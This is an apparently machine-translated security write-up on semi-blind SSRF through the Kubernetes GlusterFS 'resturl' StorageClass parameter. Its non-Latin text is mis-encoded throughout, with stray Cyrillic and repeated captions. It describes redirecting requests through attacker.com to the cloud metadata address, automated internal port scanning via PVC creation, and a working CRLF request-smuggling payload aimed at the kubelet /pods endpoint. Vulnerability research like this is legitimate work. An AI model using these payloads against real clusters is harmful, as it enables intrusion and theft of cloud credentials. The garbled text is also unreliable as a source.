рдЗрд╕рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж, рд╣рдо рдХрдорд╛рдВрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рдХреНрд╖реНрдп рд╕рд░реНрд╡рд░ рд╕реЗ рдПрдХ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рднреА рд╕рдХреНрд╖рдо рдереЗ describe pvc рдпрд╛ get events рдХреНрдпреВрдмреЗрдХреНрдЯрд▓ рдореЗрдВ. рдФрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ: рдпрд╣ рдбрд┐рдлрд╝реЙрд▓реНрдЯ Kubernetes рдбреНрд░рд╛рдЗрд╡рд░ рдЕрдкрдиреА рдЪреЗрддрд╛рд╡рдирд┐рдпреЛрдВ/рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдореЗрдВ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдХреНрд░рд┐рдпрд╛рддреНрдордХ рд╣реИ...

рдпрд╣рд╛рдВ рд▓рд┐рдВрдХ рдХреЗ рд╕рд╛рде рдПрдХ рдЙрджрд╛рд╣рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ https://www.google.frрдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд░реЗрдВ resturl:

kubectl describe pvc poc-ssrf
# ╨╕╨╗╨╕ ╨╢╨╡ ╨╝╨╛╨╢╨╡╤В╨╡ ╨▓╨╛╤Б╨┐╨╛╨╗╤М╨╖╨╛╨▓╨░╤В╤М╤Б╤П kubectl get events

рдЬрдм рдпрд╣ рдХреЗрд╡рд▓ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИ...

рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдореЗрдВ, рд╣рдо рдЬреИрд╕реЗ рдкреНрд░рд╢реНрдиреЛрдВ рддрдХ рд╣реА рд╕реАрдорд┐рдд рдереЗ HTTP рдкреЛрд╕реНрдЯ рдФрд░ рдпрджрд┐ рд░рд┐рдЯрд░реНрди рдХреЛрдб рдерд╛ рддреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдирд┐рдХрд╛рдп рдХреА рд╕рд╛рдордЧреНрд░реА рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░ рд╕рдХрд╛ 201. рдЗрд╕рд▓рд┐рдП, рд╣рдордиреЗ рдЕрддрд┐рд░рд┐рдХреНрдд рд╢реЛрдз рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛ рдФрд░ рдирдП рджреГрд╖реНрдЯрд┐рдХреЛрдгреЛрдВ рдХреЗ рд╕рд╛рде рдЗрд╕ рд╣реИрдХрд┐рдВрдЧ рдкрд░рд┐рджреГрд╢реНрдп рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд┐рдпрд╛ред

рд╣рдорд╛рд░реЗ рд╢реЛрдз рдХрд╛ рд╡рд┐рдХрд╛рд╕

  • рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #1: рдЖрдВрддрд░рд┐рдХ рдбреЗрдЯрд╛ рдПрдХрддреНрд░ рдХрд░рдиреЗ рдХрд╛ рдЕрдзрд┐рдХ рд▓рдЪреАрд▓рд╛ рддрд░реАрдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HTTP рд╡рд┐рдзрд┐ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рд╣рд░реА рд╕рд░реНрд╡рд░ рд╕реЗ 302 рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред
  • рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #2: LAN рд╕реНрдХреИрдирд┐рдВрдЧ рдФрд░ рдЖрдВрддрд░рд┐рдХ рд╕рдВрд╕рд╛рдзрди рдЦреЛрдЬ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░реЗрдВред
  • рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #3: рдЕрдиреБрдХреВрд▓рд┐рдд HTTP рдЕрдиреБрд░реЛрдз рдмрдирд╛рдиреЗ рдФрд░ рдХреНрдпреВрдм-рдирд┐рдпрдВрддреНрд░рдХ рд▓реЙрдЧ рд╕реЗ рдирд┐рдХрд╛рд▓реЗ рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HTTP CRLF + рддрд╕реНрдХрд░реА ("рдЕрдиреБрд░реЛрдз рддрд╕реНрдХрд░реА") рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред

рддрдХрдиреАрдХреА рдирд┐рд░реНрджреЗрд╢

  • рд╢реЛрдз рдореЗрдВ рдЙрддреНрддрд░реА рдпреВрд░реЛрдк рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рд╕рдВрд╕реНрдХрд░рдг 1.12 рдХреЗ рд╕рд╛рде рдПрдЬрд╝реНрдпреЛрд░ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рд╕рд░реНрд╡рд┐рд╕ (рдПрдХреЗрдПрд╕) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ред
  • рдКрдкрд░ рд╡рд░реНрдгрд┐рдд рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреЛ рддреАрд╕рд░реЗ рдкрд░рд┐рджреГрд╢реНрдп рдХреЗ рдЕрдкрд╡рд╛рдж рдХреЗ рд╕рд╛рде, рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреА рдирд╡реАрдирддрдо рд░рд┐рд▓реАрдЬ рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рдЙрд╕реЗ рдЧреЛрд▓рд╛рдВрдЧ рд╕рдВрд╕реНрдХрд░рдг тЙд 1.12 рдХреЗ рд╕рд╛рде рдирд┐рд░реНрдорд┐рдд рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдереАред
  • рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ рдмрд╛рд╣рд░реА рд╕рд░реНрд╡рд░ - https://attacker.com.

рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #1: HTTP POST рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдФрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдирд╛

рд╡рд╛рдкрд╕ рд▓реМрдЯрдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рджреНрд╡рд╛рд░рд╛ рдореВрд▓ рд╡рд┐рдзрд┐ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ 302 HTTP рд░реЗрдЯрдХреЛрдбPOST рдЕрдиреБрд░реЛрдз рдХреЛ GET рдЕрдиреБрд░реЛрдз рдореЗрдВ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП (рдЖрд░реЗрдЦ рдореЗрдВ рдЪрд░рдг 4):

рдЬрдм рдпрд╣ рдХреЗрд╡рд▓ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИ...

рдкрд╣рд▓рд╛ рдЕрдиреБрд░реЛрдз (3) рдЧреНрд░рд╛рд╣рдХ рд╕реЗ рдЖ рд░рд╣рд╛ рд╣реИ GlusterFS (рдирд┐рдпрдВрддреНрд░рдХ рдкреНрд░рдмрдВрдзрдХ), рдПрдХ POST рдкреНрд░рдХрд╛рд░ рд╣реИред рдЗрди рдЪрд░рдгреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдХреЗ рд╣рдо рдЗрд╕реЗ GET рдореЗрдВ рдмрджрд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ:

  • рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ resturl рд╕реНрдЯреЛрд░реЗрдЬрдХреНрд▓рд╛рд╕ рдореЗрдВ рдпрд╣ рджрд░реНрд╢рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ http://attacker.com/redirect.php.
  • endpoint https://attacker.com/redirect.php рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдерд╛рди рд╢реАрд░реНрд╖рд▓реЗрдЦ рдХреЗ рд╕рд╛рде 302 HTTP рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛ рд╣реИ: http://169.254.169.254. рдпрд╣ рдХреЛрдИ рдЕрдиреНрдп рдЖрдВрддрд░рд┐рдХ рд╕рдВрд╕рд╛рдзрди рд╣реЛ рд╕рдХрддрд╛ рд╣реИ - рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд▓рд┐рдВрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреЗрд╡рд▓ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • ╨Я╨╛ ╤Г╨╝╨╛╨╗╤З╨░╨╜╨╕╤О рдиреЗрдЯ/http рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЧреЛрд▓рд╛рдВрдЧ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ POST рдХреЛ 302 рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХреЗ рд╕рд╛рде GET рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рд▓рдХреНрд╖реНрдп рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП HTTP GET рдЕрдиреБрд░реЛрдз рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред

HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдирд┐рдХрд╛рдп рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдпрд╣ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ describe рдкреАрд╡реАрд╕реА рд╡рд╕реНрддреБ:

kubectl describe pvc xxx

рдпрд╣рд╛рдВ JSON рдкреНрд░рд╛рд░реВрдк рдореЗрдВ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ:

рдЬрдм рдпрд╣ рдХреЗрд╡рд▓ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИ...

рдЙрд╕ рд╕рдордп рдкрд╛рдИ рдЧрдИ рднреЗрджреНрдпрддрд╛ рдХреА рдХреНрд╖рдорддрд╛рдПрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдмрд┐рдВрджреБрдУрдВ рдХреЗ рдХрд╛рд░рдг рд╕реАрдорд┐рдд рдереАрдВ:

  • рдЖрдЙрдЯрдЧреЛрдЗрдВрдЧ рдЕрдиреБрд░реЛрдз рдореЗрдВ HTTP рд╣реЗрдбрд░ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрдерддрд╛ред
  • рдореБрдЦреНрдп рднрд╛рдЧ рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде POST рдЕрдиреБрд░реЛрдз рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрдерддрд╛ (рдЗрд╕ рдкрд░ рдЪрд▓ рд░рд╣реЗ рдЖрджрд┐ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рд╕реЗ рдХреБрдВрдЬреА рдорд╛рди рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИ) 2379 рдкреЛрд░реНрдЯ рдпрджрд┐ рдЕрдирдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб HTTP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред
  • рдЬрдм рд╕реНрдерд┐рддрд┐ рдХреЛрдб 200 рдерд╛ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ JSON рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдирд╣реАрдВ рдерд╛, рддреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореБрдЦреНрдп рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрдерддрд╛ред

рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #2: рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рд╕реНрдХреИрди рдХрд░рдирд╛

рдЗрд╕ рдЕрд░реНрдз-рдЕрдВрдзрд╛ SSRF рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рддрдм рдХреНрд▓рд╛рдЙрдб рдкреНрд░рджрд╛рддрд╛ рдХреЗ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╡рд┐рднрд┐рдиреНрди рд╢реНрд░рд╡рдг рд╕реЗрд╡рд╛рдУрдВ (рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдЙрджрд╛рд╣рд░рдг, рдХреНрдпреВрдмрд▓реЗрдЯ, рдЖрджрд┐) рдХрд╛ рд╕рд░реНрд╡реЗрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдХреНрдпреВрдм рдирд┐рдпрдВрддреНрд░рдХ.

рдЬрдм рдпрд╣ рдХреЗрд╡рд▓ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИ...

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдШрдЯрдХреЛрдВ рдХреЗ рдорд╛рдирдХ рд╢реНрд░рд╡рдг рдкреЛрд░реНрдЯ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдП рдЧрдП (8443, 10250, 10251, рдЖрджрд┐), рдФрд░ рдлрд┐рд░ рд╣рдореЗрдВ рд╕реНрдХреИрдирд┐рдВрдЧ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдирд╛ рдкрдбрд╝рд╛ред

рдпрд╣ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдХреА рдпрд╣ рд╡рд┐рдзрд┐ рдмрд╣реБрдд рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реИ рдФрд░ рдХреНрд▓рд╛рд╕рд┐рдХ рд╕реНрдХреИрдирд░ рдФрд░ рдПрд╕рдПрд╕рдЖрд░рдПрдл рдЯреВрд▓ рдХреЗ рд╕рд╛рде рд╕рдВрдЧрдд рдирд╣реАрдВ рд╣реИ, рд╣рдордиреЗ рдПрдХ рдмреИрд╢ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛ рдмрдирд╛рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛ рдЬреЛ рдкреВрд░реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдХреА рд░реЗрдВрдЬ 172.16.0.0/12 рдХреЛ рд╢реАрдШреНрд░рддрд╛ рд╕реЗ рд╕реНрдХреИрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, 15 рд╢реНрд░рдорд┐рдХреЛрдВ рдХреЛ рд╕рдорд╛рдирд╛рдВрддрд░ рдореЗрдВ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЙрдкрд░реЛрдХреНрдд рдЖрдИрдкреА рд░реЗрдВрдЬ рдХреЛ рдХреЗрд╡рд▓ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ рдЪреБрдирд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рддрд╛ рдХреА рдЖрдИрдкреА рд░реЗрдВрдЬ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рдПрдХ рдЖрдИрдкреА рдкрддреЗ рдФрд░ рдПрдХ рдкреЛрд░реНрдЯ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛рд░реНрдп рдХрд░рдиреЗ рд╣реЛрдВрдЧреЗ:

  • рдЕрдВрддрд┐рдо рдЬрд╛рдБрдЪ рдХреА рдЧрдИ рд╕реНрдЯреЛрд░реЗрдЬрдХреНрд▓рд╛рд╕ рдХреЛ рд╣рдЯрд╛ рджреЗрдВ;
  • рдкрд┐рдЫрд▓реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдкрд░рд╕рд┐рд╕реНрдЯреЗрдВрдЯ рд╡реЙрд▓реНрдпреВрдо рджрд╛рд╡реЗ рдХреЛ рд╣рдЯрд╛ рджреЗрдВ;
  • рдЖрдИрдкреА тАЛтАЛтАЛтАЛрдФрд░ рдкреЛрд░реНрдЯ рдорд╛рди рдмрджрд▓реЗрдВ sc.yaml;
  • рдПрдХ рдирдП рдЖрдИрдкреА рдФрд░ рдкреЛрд░реНрдЯ рдХреЗ рд╕рд╛рде рдПрдХ рд╕реНрдЯреЛрд░реЗрдЬрдХреНрд▓рд╛рд╕ рдмрдирд╛рдПрдВ;
  • рдПрдХ рдирдпрд╛ рдкреАрд╡реАрд╕реА рдмрдирд╛рдПрдВ;
  • рдкреАрд╡реАрд╕реА рдХреЗ рд▓рд┐рдП рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдХреИрди рдкрд░рд┐рдгрд╛рдо рдирд┐рдХрд╛рд▓реЗрдВред

рдЙрдиреНрдирдд рдкрд░рд┐рджреГрд╢реНрдп #3: рд╕реАрдЖрд░рдПрд▓рдПрдл рдЗрдВрдЬреЗрдХреНрд╢рди + рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ "рдкреБрд░рд╛рдиреЗ" рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ HTTP рдХреА рддрд╕реНрдХрд░реА

рдпрджрд┐ рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░рджрд╛рддрд╛ рдиреЗ рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЛ K8s рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреА рдкреЗрд╢рдХрд╢ рдХреА ╨╕ рдЙрдиреНрд╣реЗрдВ рдХреНрдпреВрдм-рдирд┐рдпрдВрддреНрд░рдХ-рдкреНрд░рдмрдВрдзрдХ рдХреЗ рд▓реЙрдЧ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХреА рдЧрдИ, рдкреНрд░рднрд╛рд╡ рдФрд░ рднреА рдЕрдзрд┐рдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛ рдЧрдпрд╛ред

рдХрд┐рд╕реА рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рд╡рд┐рд╡реЗрдХ рдкрд░ рдкреВрд░реНрдг HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдмрджрд▓рдирд╛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЕрдзрд┐рдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИред

рдЬрдм рдпрд╣ рдХреЗрд╡рд▓ рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рд╣реИ...

рдЕрдВрддрд┐рдо рдкрд░рд┐рджреГрд╢реНрдп рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢рд░реНрддреЛрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдирд╛ рд╣реЛрдЧрд╛:

  • рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдХреНрдпреВрдм-рдирд┐рдпрдВрддреНрд░рдХ-рдкреНрд░рдмрдВрдзрдХ рд▓реЙрдЧ рддрдХ рдкрд╣реБрдВрдЪ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Azure LogInsights рдореЗрдВ)ред
  • рдХреБрдмреЗрд░рдиреЗрдЯреНрд╕ рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ 1.12 рд╕реЗ рдХрдо рдЧреЛрд▓рд╛рдВрдЧ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред

рд╣рдордиреЗ рдПрдХ рд╕реНрдерд╛рдиреАрдп рд╡рд╛рддрд╛рд╡рд░рдг рддреИрдирд╛рдд рдХрд┐рдпрд╛ рд╣реИ рдЬреЛ рдЧреНрд▓рд╕реНрдЯрд░рдПрдлрдПрд╕ рдЧреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдФрд░ рдПрдХ рдирдХрд▓реА рд▓рдХреНрд╖реНрдп рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ рд╕рдВрдЪрд╛рд░ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддрд╛ рд╣реИ (рд╣рдо рдЕрднреА рдХреЗ рд▓рд┐рдП рдкреАрдУрд╕реА рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд░рд╣реЗрдЬ рдХрд░реЗрдВрдЧреЗ)ред

рдорд┐рд▓рд╛ рдерд╛ рднреЗрджреНрдпрддрд╛, 1.12 рд╕реЗ рдХрдо рдЧреЛрд▓рд╛рдВрдЧ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╣реИрдХрд░реНрд╕ рдХреЛ HTTP рддрд╕реНрдХрд░реА/рд╕реАрдЖрд░рдПрд▓рдПрдл рд╣рдорд▓реЛрдВ рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рдКрдкрд░ рд╡рд░реНрдгрд┐рдд рдЕрд░реНрдз-рдЕрдВрдзрд╛ рдПрд╕рдПрд╕рдЖрд░рдПрдл рдХреЛ рдорд┐рд▓рд╛рдХрд░ ╨▓╨╝╨╡╤Б╤В╨╡ рдЗрд╕рдХреЗ рд╕рд╛рде, рд╣рдо рдЕрдкрдиреА рдкрд╕рдВрдж рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ, рдЬрд┐рд╕рдореЗрдВ рд╣реЗрдбрд░, HTTP рд╡рд┐рдзрд┐, рдкреИрд░рд╛рдореАрдЯрд░ рдФрд░ рдбреЗрдЯрд╛ рдХреЛ рдмрджрд▓рдирд╛ рд╢рд╛рдорд┐рд▓ рдерд╛, рдЬрд┐рд╕реЗ рдХреНрдпреВрдм-рдирд┐рдпрдВрддреНрд░рдХ-рдкреНрд░рдмрдВрдзрдХ рдиреЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ред

рдпрд╣рд╛рдВ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдХрд╛рд░реНрдпрд╢реАрд▓ "рдЪрд╛рд░рд╛" рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ resturl рд╕реНрдЯреЛрд░реЗрдЬрдХреНрд▓рд╛рд╕, рдЬреЛ рдПрдХ рд╕рдорд╛рди рд╣рдорд▓реЗ рдХреЗ рдкрд░рд┐рджреГрд╢реНрдп рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

